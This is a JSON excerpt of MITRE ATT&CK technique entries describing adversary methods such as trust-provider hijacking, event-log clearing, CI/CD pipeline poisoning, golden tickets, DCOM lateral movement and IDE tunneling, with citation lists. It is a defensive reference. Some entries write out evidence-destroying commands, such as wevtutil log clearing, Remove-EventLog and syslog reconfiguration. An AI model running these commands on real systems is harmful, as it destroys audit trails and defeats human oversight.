function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
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                    "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
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                    "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
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                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
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            "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",
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                    "external_id": "T1059"
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                {
                    "source_name": "Remote Shell Execution in Python",
                    "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.",
                    "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Powershell Remote Commands",
                    "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1"
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            "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
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                {
                    "source_name": "Datadog Security Labs Malicious PyPi Packages 2024",
                    "description": " Sebastian Obregoso  and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.",
                    "url": "https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/"
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                {
                    "source_name": "Fortinet Malicious NPM Packages 2023",
                    "description": "Jin Lee and Jenna Wang. (2023, October 2). Malicious Packages Hidden in NPM. Retrieved May 22, 2025.",
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            "name": "Malicious Library",
            "description": "Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.",
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                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
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                {
                    "source_name": "Broadcom Configuring syslog on ESXi",
                    "description": "Broadcom. (n.d.). Configuring syslog on ESXi. Retrieved March 27, 2025.",
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                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
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                    "description": "Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.",
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                {
                    "source_name": "Microsoft Lamin Sept 2017",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
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                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
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                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
                    "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
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            "name": "Indicator Blocking",
            "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)",
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            "created": "2026-04-14T22:54:03.796Z",
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                    "external_id": "T1685.005"
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                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
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            "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* `wevtutil cl system`\n* `wevtutil cl application`\n* `wevtutil cl security`\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command `Remove-EventLog -LogName Security` to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.",
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            "created": "2020-01-28T14:05:17.825Z",
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                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
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                    "source_name": "Savill 1999",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
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            "created": "2025-03-27T19:40:00.716Z",
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                    "source_name": "Establishing persistence using extended attributes on Linux",
                    "description": "Irem Kuyucu. (2024, August 6). Establishing persistence using extended  attributes on Linux. Retrieved March 27, 2025.",
                    "url": "https://kernal.eu/posts/linux-xattr-persistence/"
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                    "source_name": "Low GroupIB xattrs nov 2024",
                    "description": "Sharmine Low. (2024, November 13). Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes. Retrieved March 27, 2025.",
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                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
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                    "external_id": "T1677"
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                {
                    "source_name": "Synactiv Hijacking GitHub Runners",
                    "description": "Hugo Vincent. (2024, May 22). Hijacking GitHub runners to compromise the organization. Retrieved May 22, 2025.",
                    "url": "https://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization"
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                {
                    "source_name": "GitHub Security Lab GitHub Actions Security 2021",
                    "description": "Jaroslav Loba\u010devski. (2021, August 3). Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests. Retrieved May 22, 2025.",
                    "url": "https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/"
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                    "source_name": "GitHub Security Labs GitHub Actions Security Part 2 2021",
                    "description": "Jaroslav Loba\u010devski. (2021, August 4). Keeping your GitHub Actions and workflows secure Part 2: Untrusted input. Retrieved May 22, 2025.",
                    "url": "https://securitylab.github.com/resources/github-actions-untrusted-input/"
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                {
                    "source_name": "John Stawinski PyTorch Supply Chain Attack 2024",
                    "description": "John Stawinski IV. (2024, January 11). Playing with Fire \u2013 How We Executed a Critical Supply Chain Attack on PyTorch. Retrieved May 22, 2025.",
                    "url": "https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/"
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                    "source_name": "Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025",
                    "description": "Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack"
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                {
                    "source_name": "OWASP CICD-SEC-4",
                    "description": "OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.",
                    "url": "https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution"
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                {
                    "source_name": "Wiz Ultralytics AI Library Hijack 2024",
                    "description": "Wiz Threat Research. (2024, December 9). Ultralytics AI Library Hacked via GitHub for Cryptomining. Retrieved May 22, 2025.",
                    "url": "https://www.wiz.io/blog/ultralytics-ai-library-hacked-via-github-for-cryptomining"
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            "description": "Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: \n\n* In a <b>Direct Pipeline Execution</b> scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: OWASP CICD-SEC-4)\n* In an <b>Indirect Pipeline Execution</b> scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.(Citation: OWASP CICD-SEC-4)\n* In a <b>Public Pipeline Execution</b> scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets.  If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: GitHub Security Lab GitHub Actions Security 2021) Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted.(Citation: Wiz Ultralytics AI Library Hijack 2024)(Citation: Synactiv Hijacking GitHub Runners)(Citation: GitHub Security Labs GitHub Actions Security Part 2 2021) Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization\u2019s network.(Citation: John Stawinski PyTorch Supply Chain Attack 2024)\n\nBy poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)). ",
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                {
                    "source_name": "Microsoft Operation Wilysupply",
                    "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.",
                    "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/"
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                    "source_name": "AdSecurity Forging Trust Tickets",
                    "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.",
                    "url": "https://adsecurity.org/?p=1588"
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                {
                    "source_name": "Microsoft Trusts",
                    "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.",
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                    "source_name": "Harmj0y Domain Trusts",
                    "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.",
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                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
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                    "url": "https://adsecurity.org/?p=483"
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            "modified": "2025-10-24T17:48:58.155Z",
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            "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1175",
                    "external_id": "T1175"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
                {
                    "source_name": "ProjectZero File Write EoP Apr 2018",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                },
                {
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
                },
                {
                    "source_name": "Enigma Excel DCOM Sept 2017",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
                },
                {
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
                }
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            "modified": "2025-10-24T17:48:58.243Z",
            "name": "Component Object Model and Distributed COM",
            "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
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                    "phase_name": "lateral-movement"
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            "x_mitre_deprecated": true,
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "created": "2017-05-31T21:30:29.458Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1020",
                    "external_id": "T1020"
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"
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            "modified": "2026-05-12T15:12:00.642Z",
            "name": "Automated Exfiltration",
            "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
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                    "phase_name": "exfiltration"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c",
            "created": "2020-10-02T16:47:16.719Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592/004",
                    "external_id": "T1592.004"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            ],
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            "modified": "2026-05-12T15:12:00.642Z",
            "name": "Client Configurations",
            "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
            "created": "2020-06-24T16:55:46.243Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/007",
                    "external_id": "T1562.007"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                }
            ],
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            "modified": "2026-04-14T22:54:46.072Z",
            "name": "Disable or Modify Cloud Firewall",
            "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--77e29a47-e263-4f11-8692-e5012f44dbac",
            "created": "2025-03-20T18:46:24.598Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1219/001",
                    "external_id": "T1219.001"
                },
                {
                    "source_name": "sentinelone operationDigitalEye Dec 2024",
                    "description": "Aleksandar Milenkoski, Luigi Martire. (2024, December 10). Operation Digital Eye | Chinese APT Compromises Critical Digital Infrastructure via Visual Studio Code Tunnels. Retrieved February 27, 2025.",
                    "url": "https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/"
                },
                {
                    "source_name": "Unit42 Chinese VSCode 06 September 2024",
                    "description": "Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/"
                },
                {
                    "source_name": "Thornton tutorial VSCode shell September 2023",
                    "description": "Truvis Thornton. (2023, September 25). Visual Studio Code: embedded reverse shell and how to block, create Sentinel Detection, and add Environment Prevention. Retrieved March 24, 2025.",
                    "url": "https://medium.com/@truvis.thornton/visual-studio-code-embedded-reverse-shell-and-how-to-block-create-sentinel-detection-and-add-e864ebafaf6d"
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            "modified": "2026-05-12T15:12:00.643Z",
            "name": "IDE Tunneling",
